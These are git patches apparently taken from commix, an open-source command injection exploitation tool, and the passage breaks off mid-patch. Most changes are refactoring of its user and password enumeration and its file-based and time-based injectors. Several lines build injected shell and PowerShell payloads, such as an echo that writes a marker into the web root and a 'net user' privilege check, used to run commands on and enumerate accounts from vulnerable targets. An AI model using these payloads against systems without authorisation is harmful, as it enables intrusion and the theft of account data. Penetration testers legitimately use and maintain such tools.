"timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: - payload = payload.replace("powershell.exe -InputFormat none Start-Sleep -s", "timeout") + payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload if settings.CLASSIC_STATE != False or \ @@ -55,5 +55,7 @@ def sleep_to_timeout_ping(payload): settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: return sleep_to_timeout_ping(payload) + + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 233f30b3ee..a5874fc6fe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "82" +REVISION = "83" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7ca30f1da18f1a1a9977f765de754b0c6fd0e182 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 Jun 2022 10:48:37 +0300 Subject: [PATCH 161/560] Minor update --- src/core/injections/blind/techniques/time_based/tb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 343f30de0b..bfcf1dbdfb 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -493,7 +493,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese if str(output) == str(randvcalc): return how_long, output else: - if settings.VERBOSITY_LEVEL < 2: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) warn_msg = "False positive or unexploitable injection point detected." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 87dfe705d8..9d73e3c6f3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -496,7 +496,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if str(output) == str(randvcalc): return how_long, output else: - if settings.VERBOSITY_LEVEL < 2: + if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) warn_msg = "False positive or unexploitable injection point detected." print(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index a5874fc6fe..90e6b96e74 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "83" +REVISION = "84" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 465c0da2ed280ea4de52f8c3e869a3674410ba01 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Jun 2022 09:52:40 +0300 Subject: [PATCH 162/560] Minor fixes / updates --- .../techniques/time_based/tb_enumeration.py | 4 +- src/core/injections/controller/checks.py | 130 +++++++++--------- .../techniques/classic/cb_enumeration.py | 4 +- .../techniques/eval_based/eb_enumeration.py | 4 +- .../techniques/file_based/fb_enumeration.py | 4 +- .../techniques/file_based/fb_payloads.py | 25 +--- .../tempfile_based/tfb_enumeration.py | 4 +- src/core/modules/shellshock/shellshock.py | 4 +- src/utils/settings.py | 5 +- 9 files changed, 85 insertions(+), 99 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 3dfdefbf87..ff1980c960 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -162,7 +162,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -179,7 +179,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d01072c8a6..e407cb7ef8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -621,7 +621,7 @@ def continue_tests(err): """ def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " - warn_msg += "is not yet available for Windows targets." + warn_msg += "is not yet supported Windows targets." print(settings.print_warning_msg(warn_msg)) """ @@ -662,14 +662,11 @@ def ps_incompatible_os(): """ def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The payloads in some options that you " - warn_msg += "have chosen, are requiring the use of PowerShell. " - print(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to use the \"--ps-version\" option " - message += "so ensure that PowerShell is enabled? [Y/n] > " + message = "The payloads in some options that you " + message += "have chosen are requiring the use of powershell. " + message += "Do you want to use the \"--ps-version\" flag " + message += "to ensure that is enabled? [Y/n] > " ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True @@ -1643,20 +1640,19 @@ def generate_char_pool(num_of_chars): """ def print_ps_version(ps_version, filename, _): try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in ps_version) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "Powershell version: " + ps_version - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + settings.PS_ENABLED = True + ps_version = "".join(str(p) for p in ps_version) + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." @@ -1768,7 +1764,7 @@ def os_info_msg(self): def print_users_msg(self): if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " + info_msg = "Executing the 'net user' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " info_msg += "in order to enumerate operating system users. " @@ -1786,59 +1782,59 @@ def print_single_os_cmd_msg(self, cmd): """ Print users enumeration. """ -def print_users(sys_users, filename, _): +def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): # Windows users enumeration. if settings.TARGET_OS == "win": try: - if sys_users: + if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS): sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_users_list) == 1] - info_msg += " [" + str(len(sys_users_list)) + "]:" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = escape_single_quoted_cmd(cmd) - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() + count = 0 + for user in range(0, len(sys_users_list)): + count = count + 1 + if menu.options.privileges: + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + if alter_shell: + cmd = escape_single_quoted_cmd(cmd) + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = re.findall(r"(.*)", check_privs) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = check_privs.split() + if "Admin" in check_privs[0]: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" + is_privileged_nh = " is admin user " + else: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.close() else: # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." @@ -1957,7 +1953,7 @@ def print_users(sys_users, filename, _): """ Print users enumeration. """ -def print_passes(sys_passes, filename, _): +def print_passes(sys_users, filename, _, alter_shell): if sys_passes == "": sys_passes = " " sys_passes = sys_passes.replace(" ", "\n").split() @@ -2295,10 +2291,10 @@ def check_wrong_flags(): warn_msg += "target has been identified as Windows." print(settings.print_warning_msg(warn_msg)) if menu.options.passwords: - warn_msg = "The '--passwords' option, is not yet available for Windows targets." + warn_msg = "The '--passwords' option, is not yet supported Windows targets." print(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet available for Windows targets. " + warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." print(settings.print_warning_msg(warn_msg)) raise SystemExit() diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 38412ef35c..3501e5dbaa 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -208,7 +208,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -228,7 +228,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index c50ac0af2d..673f7cd9d9 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -211,7 +211,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -231,7 +231,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 2ca6dacd8b..210a22a4a0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -180,7 +180,7 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ System passwords enumeration @@ -197,7 +197,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _) + checks.print_passes(sys_users, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 5b66e37efe..6ec5df468f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -27,15 +27,10 @@ """ def decision(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": - payload = (separator + - "powershell.exe -InputFormat none Add-Content " + - OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + TAG - ) - else: - payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + + payload = (separator + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) return payload @@ -73,22 +68,16 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): if settings.TFB_DECIMAL == True: - payload = (separator +cmd) + payload = (separator + cmd) elif settings.TARGET_OS == "win": payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + " Date: Sat, 18 Jun 2022 09:58:26 +0300 Subject: [PATCH 163/560] Trivial fixes / updates --- .../techniques/time_based/tb_enumeration.py | 2 +- src/core/injections/controller/checks.py | 57 +++++++++++-------- .../techniques/classic/cb_enumeration.py | 9 +-- .../techniques/eval_based/eb_enumeration.py | 19 +++---- .../techniques/file_based/fb_enumeration.py | 3 +- .../techniques/file_based/fb_file_access.py | 2 +- .../techniques/file_based/fb_injector.py | 3 + .../tempfile_based/tfb_enumeration.py | 2 +- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 10 files changed, 53 insertions(+), 48 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index ff1980c960..8ccd42bc94 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -179,7 +179,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e407cb7ef8..b38547e4be 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -662,6 +662,8 @@ def ps_incompatible_os(): """ def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) while True: message = "The payloads in some options that you " message += "have chosen are requiring the use of powershell. " @@ -1807,33 +1809,33 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi count = 0 for user in range(0, len(sys_users_list)): count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = escape_single_quoted_cmd(cmd) - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # if menu.options.privileges: + # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + # if alter_shell: + # cmd = escape_single_quoted_cmd(cmd) + # cmd = "cmd /c " + cmd + # from src.core.injections.results_based.techniques.classic import cb_injector + # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # check_privs = cb_injector.injection_results(response, TAG, cmd) + # check_privs = "".join(str(p) for p in check_privs).strip() + # check_privs = re.findall(r"(.*)", check_privs) + # check_privs = "".join(str(p) for p in check_privs).strip() + # check_privs = check_privs.split() + # if "Admin" in check_privs[0]: + # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" + # is_privileged_nh = " is admin user " + # else: + # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" + # is_privileged_nh = " is regular user " + # else : + is_privileged = is_privileged = "" + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : output_file.write("\n") - output_file.write("(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) output_file.close() else: # print(settings.SINGLE_WHITESPACE) @@ -1953,7 +1955,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi """ Print users enumeration. """ -def print_passes(sys_users, filename, _, alter_shell): +def print_passes(sys_passes, filename, _, alter_shell): if sys_passes == "": sys_passes = " " sys_passes = sys_passes.replace(" ", "\n").split() @@ -2018,6 +2020,12 @@ def quoted_cmd(cmd): cmd = "\"" + cmd + "\"" return cmd +""" +""" +def add_new_cmd(cmd): + cmd = "cmd /c " + cmd + return cmd + """ Escape single quoted cmd """ @@ -2030,7 +2038,8 @@ def escape_single_quoted_cmd(cmd): """ def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) - tmp_fname = "tmp_" + fname + #tmp_fname = "tmp_" + fname + tmp_fname = fname content = quoted_cmd(content) cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname return fname, tmp_fname, cmd diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 3501e5dbaa..da49dc562a 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -189,13 +189,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE + # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if settings.TARGET_OS == "win": - cmd = "cmd /c " + cmd + cmd = checks.add_new_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -228,7 +225,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 673f7cd9d9..6aba7618f1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -51,7 +51,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - check.print_ps_version(ps_version,) + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration @@ -91,7 +91,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. target_os = eb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os).replace(" ", "", 1) + target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -139,8 +139,8 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method _ = False cmd = settings.CURRENT_USER if settings.TARGET_OS == "win": - cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE + cmd = settings.WIN_CURRENT_USER + # cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) else: @@ -189,16 +189,13 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False - cmd = settings.SYS_USERS + cmd = settings.EVAL_SYS_USERS if settings.TARGET_OS == "win": cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) else: - cmd = checks.quoted_cmd(cmd) - else: - cmd = settings.EVAL_SYS_USERS + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -208,7 +205,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Evaluate injection results. sys_users = eb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) - # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) @@ -231,7 +228,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 210a22a4a0..50000cb500 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -166,7 +166,6 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = settings.WIN_SYS_USERS - cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) else: @@ -197,7 +196,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 1aafd5d945..ed2426e5d4 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -49,7 +49,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")" # dest_to_write = dest_to_write + "\\" + fname cmd = checks.check_file(dest_to_write) - cmd = "cmd /c " + cmd + cmd = checks.add_new_cmd(cmd) if not menu.options.alter_shell: cmd = checks.quoted_cmd(cmd) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 0daac7bd5c..82adf5e2d5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -292,6 +292,9 @@ def custom_web_root(url, OUTPUT_TEXTFILE): break elif procced_option in settings.CHOICE_NO: output = 